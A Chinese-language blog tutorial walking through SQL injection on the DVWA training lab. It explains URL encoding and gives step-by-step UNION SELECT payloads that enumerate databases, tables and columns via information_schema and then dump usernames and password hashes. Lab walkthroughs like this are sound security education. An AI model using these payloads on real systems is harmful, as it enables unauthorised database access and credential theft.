您好,登錄后才能下訂單哦!
關于sql注入的基礎知識,我上篇文章也寫過了,這篇就用靶機的漏洞環境來實踐操作一下,所謂實踐出真理嘛,我們這次試用的漏洞平臺是DVWA,Github下載地址:DVWA
關于一下注入的基本知識或者姿勢,我會在實踐中詳解。
LOW等級
先輸入1看一下
我們在加個單引號
這里的搜索框為什么沒有顯示單引號呢?因為被url編碼了
一般的url編碼其實就是那個字符的ASCII值得十六進制,再在前面加個%。
具體可以看URL編碼,這里可以查到每個字符的url編碼,當然自己編程或者用該語言應該也有自帶的函數,去實現url編碼。
這里說下sql注入中常見的url編碼:
空格是%20
單引號是%27
井號是%23(表注釋)
雙引號是%22
看報錯我們能看到,這是由' '兩個單引號擴起來的參數,看看源代碼
我們看
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
$id = $_REQUEST[ 'id' ];
參數沒有經過任何的過濾....我們嘗試閉合單引號。
比如我們輸入id=1' or '1'='1
語句就變成了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";
當然,我們也可以使用注釋來注釋后面的單引號
sql中注釋 單行可以使用 #(忽略) --(忽略),多行使用/ /
我們試試1' #
下面我們來利用漏洞獲取數據庫信息
大概步驟就是:
1.猜解所查詢的字段數目
2.獲取字段顯示位
3.通過顯示位獲取數據庫信息
4.獲取數據庫中的表名
5.獲取表中的列名(字段)
6.導出數據庫中的數據
7.驗證導出數據的有效性
猜解所查詢的字段數
方式1: order by num
若num數值超過了字段數,則查詢會報錯,從而判斷出select語句所查詢字段的數目
輸入:1' order by 2 #
1' order by 3 #
報錯,說明數據表中只有兩個字段
方式二:union select 1,2,3...
若union select后的數字位(不一定是1/2/3,只要有數字占位即可)與實際查詢的字段位不完全對應時,查詢就會報錯,直至調整到不報錯時的占位個數,從而判斷實際查詢的字段數
輸入:union select 1,2 #
輸入:union select 1,2.3 #
獲取字段的顯示位1' union select 1,2 #
既然顯示位顯示的是我們設定數值,那么我們就通過顯示位獲取數據,輸出出來
通過顯示位獲取數據庫信息
此處會用到Mysql注入常用的一些函數,可參看此文==>SQL注入常用的內置函數整理(以MySql為例)
獲取當前連接的數據庫名稱、DBMS的版本(Mysql的版本)1' union select database(),version() #
獲取當前連接數據庫的用戶1' union select 1,user() #
獲取服務器的操作系統、數據庫的存儲目錄1' union select @@version_compile_os,@@datadir #
獲取數據庫中所有數據庫名
在此之前,科普一下數據庫的知識
mysql的數據庫information_schema,他是系統數據庫,安裝完就有,記錄是當前數據庫的數據庫,表,列,用戶權限等信息
information_schema.schemata 記錄所有的數據庫名稱
Information_schema.tables: 記錄表名信息的表(也有數據庫名字段)
Information_schema.columns: 記錄列名信息的表(數據庫名、表名、字段名)1' union select 1,schema_name from information_schema.schemata #
可能是權限問題,沒有全部爆出來
去數據庫執行是這樣的
我們發現數據庫dvwa正是我們想要的,因此,通過此數據庫,去爆表
獲取當前連接數據庫(dvwa)中的所有表1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 后面表示的限制的條件,只查數據庫名是dvwa的表
獲取表中的列名(字段)1' union select 1,column_name from information_schema.columns where table_name="users" #
這樣輸出有點亂,我們使用group_concat()
將他們簡單的輸出出來1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
如果你覺得有點擠,看的不舒服的話,你可以1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #
這樣是不是就明顯多了?關于group_concat()
,還有concat()
可以自行百度學習
知道了數據庫的表名、字段名就可以爆表了
爆表1' union select 1,concat(user,'--',password) from users #
還有其他更多的導出操作,一些導出函數的使用,可以自行嘗試
驗證導出數據的有效性
OK!!
Medium
只是閉合方式不同
其余操作步驟與上差不多
high
想辦法閉合,其他就自然好起來了!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。